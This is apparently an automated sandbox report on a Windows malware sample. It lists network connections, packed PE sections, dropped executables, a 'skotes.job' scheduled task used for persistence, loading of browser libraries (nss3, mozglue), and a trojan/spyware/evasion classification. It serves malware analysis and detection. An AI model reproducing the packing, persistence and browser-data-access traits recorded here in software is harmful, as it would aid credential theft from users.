Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61167
Source: unknown	Network traffic detected: HTTP traffic on port 61185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61169
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61184
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61176
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61179
Source: unknown	Network traffic detected: HTTP traffic on port 61129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 61120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 61143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 61189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 61094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 61188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61121 -> 443

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.6:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61188 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name:
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: .idata
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name:
Source: eDPQZkT.exe.29.dr	Static PE information: section name:
Source: eDPQZkT.exe.29.dr	Static PE information: section name: .idata
Source: eDPQZkT.exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe.29.dr	Static PE information: section name: .idata
Source: random[1].exe.29.dr	Static PE information: section name:
Source: ead1a5c329.exe.29.dr	Static PE information: section name:
Source: ead1a5c329.exe.29.dr	Static PE information: section name: .rsrc
Source: ead1a5c329.exe.29.dr	Static PE information: section name: .idata
Source: ead1a5c329.exe.29.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAAB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CAAB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CAAB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA4F280

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA435A0	0_2_6CA435A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA34A0	0_2_6CAA34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC4A0	0_2_6CAAC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56C80	0_2_6CA56C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D4E0	0_2_6CA4D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86CF0	0_2_6CA86CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA564C0	0_2_6CA564C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D4D0	0_2_6CA6D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB542B	0_2_6CAB542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABAC00	0_2_6CABAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85C10	0_2_6CA85C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92C10	0_2_6CA92C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55440	0_2_6CA55440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB545C	0_2_6CAB545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA85F0	0_2_6CAA85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80DD0	0_2_6CA80DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5FD00	0_2_6CA5FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA70512	0_2_6CA70512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6ED10	0_2_6CA6ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4EA0	0_2_6CAA4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE680	0_2_6CAAE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65E90	0_2_6CA65E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB76E3	0_2_6CAB76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4BEF0	0_2_6CA4BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5FEF0	0_2_6CA5FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9E30	0_2_6CAA9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95600	0_2_6CA95600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA87E10	0_2_6CA87E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6E63	0_2_6CAB6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C670	0_2_6CA4C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64640	0_2_6CA64640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92E4E	0_2_6CA92E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69E50	0_2_6CA69E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA83E50	0_2_6CA83E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA977A0	0_2_6CA977A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4DFE0	0_2_6CA4DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76FF0	0_2_6CA76FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA59F00	0_2_6CA59F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA87710	0_2_6CA87710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA760A0	0_2_6CA760A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C0E0	0_2_6CA6C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA858E0	0_2_6CA858E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB50C7	0_2_6CAB50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B820	0_2_6CA8B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94820	0_2_6CA94820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA57810	0_2_6CA57810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8F070	0_2_6CA8F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68850	0_2_6CA68850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D850	0_2_6CA6D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C9A0	0_2_6CA4C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D9B0	0_2_6CA7D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85190	0_2_6CA85190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2990	0_2_6CAA2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D960	0_2_6CA5D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B970	0_2_6CA9B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB170	0_2_6CABB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6A940	0_2_6CA6A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA422A0	0_2_6CA422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74AA0	0_2_6CA74AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5CAB0	0_2_6CA5CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2AB0	0_2_6CAB2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABBA90	0_2_6CABBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA61AF0	0_2_6CA61AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E2F0	0_2_6CA8E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88AC0	0_2_6CA88AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89A60	0_2_6CA89A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4F380	0_2_6CA4F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB53C8	0_2_6CAB53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D320	0_2_6CA8D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C370	0_2_6CA5C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45340	0_2_6CA45340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4ECD0	0_2_6CB4ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEECC0	0_2_6CAEECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCAC30	0_2_6CBCAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB6C00	0_2_6CBB6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFAC60	0_2_6CAFAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7CDC0	0_2_6CC7CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4DB0	0_2_6CAF4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86D90	0_2_6CB86D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1AD50	0_2_6CC1AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBED70	0_2_6CBBED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC78D20	0_2_6CC78D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76E90	0_2_6CB76E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFAEC0	0_2_6CAFAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90EC0	0_2_6CB90EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD0E20	0_2_6CBD0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EE70	0_2_6CB8EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFEFB0	0_2_6CAFEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCEFF0	0_2_6CBCEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF0FE0	0_2_6CAF0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC38FB0	0_2_6CC38FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6F10	0_2_6CAF6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB2F70	0_2_6CBB2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30F20	0_2_6CC30F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5EF40	0_2_6CB5EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF68E0	0_2_6CBF68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40820	0_2_6CB40820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7A820	0_2_6CB7A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC4840	0_2_6CBC4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB09B0	0_2_6CBB09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB809A0	0_2_6CB809A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA9A0	0_2_6CBAA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0C9E0	0_2_6CC0C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB249F0	0_2_6CB249F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46900	0_2_6CB46900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28960	0_2_6CB28960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6EA80	0_2_6CB6EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8A30	0_2_6CBA8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EA00	0_2_6CB9EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6CA70	0_2_6CB6CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90BA0	0_2_6CB90BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6BE0	0_2_6CBF6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A480	0_2_6CC1A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB364D0	0_2_6CB364D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8A4D0	0_2_6CB8A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7A430	0_2_6CB7A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB54420	0_2_6CB54420
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FBE530	29_2_00FBE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF78BB	29_2_00FF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF8860	29_2_00FF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF7049	29_2_00FF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FB4DE0	29_2_00FB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF31A8	29_2_00FF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF2D10	29_2_00FF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FF779B	29_2_00FF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FE7F36	29_2_00FE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FB4B30	29_2_00FB4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC7DAE0 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA7CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC709D0 appears 121 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA894D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB13620 appears 32 times

Source: random[1].exe.29.dr	Static PE information: No import functions for PE file found
Source: ead1a5c329.exe.29.dr	Static PE information: No import functions for PE file found

Source: random[1].exe.29.dr	Static PE information: Data appended to the last section found
Source: ead1a5c329.exe.29.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2038468823.000000006CCC5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: udcxivdk ZLIB complexity 0.994900109291642
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: Section: umzmfkfc ZLIB complexity 0.9947566917391957
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: random[1].exe.0.dr	Static PE information: Section: umzmfkfc ZLIB complexity 0.9947566917391957
Source: skotes.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: skotes.exe.24.dr	Static PE information: Section: umzmfkfc ZLIB complexity 0.9947566917391957
Source: eDPQZkT[1].exe.29.dr	Static PE information: Section: ZLIB complexity 0.9992955942622951
Source: eDPQZkT[1].exe.29.dr	Static PE information: Section: tjxhgeed ZLIB complexity 0.9947236824781823
Source: eDPQZkT.exe.29.dr	Static PE information: Section: ZLIB complexity 0.9992955942622951
Source: eDPQZkT.exe.29.dr	Static PE information: Section: tjxhgeed ZLIB complexity 0.9947236824781823

Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.24.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/305@24/34

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAA7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\JWR9ZH40.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\6c4b4029-8e55-4937-ab0e-ce964aaaaf02.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
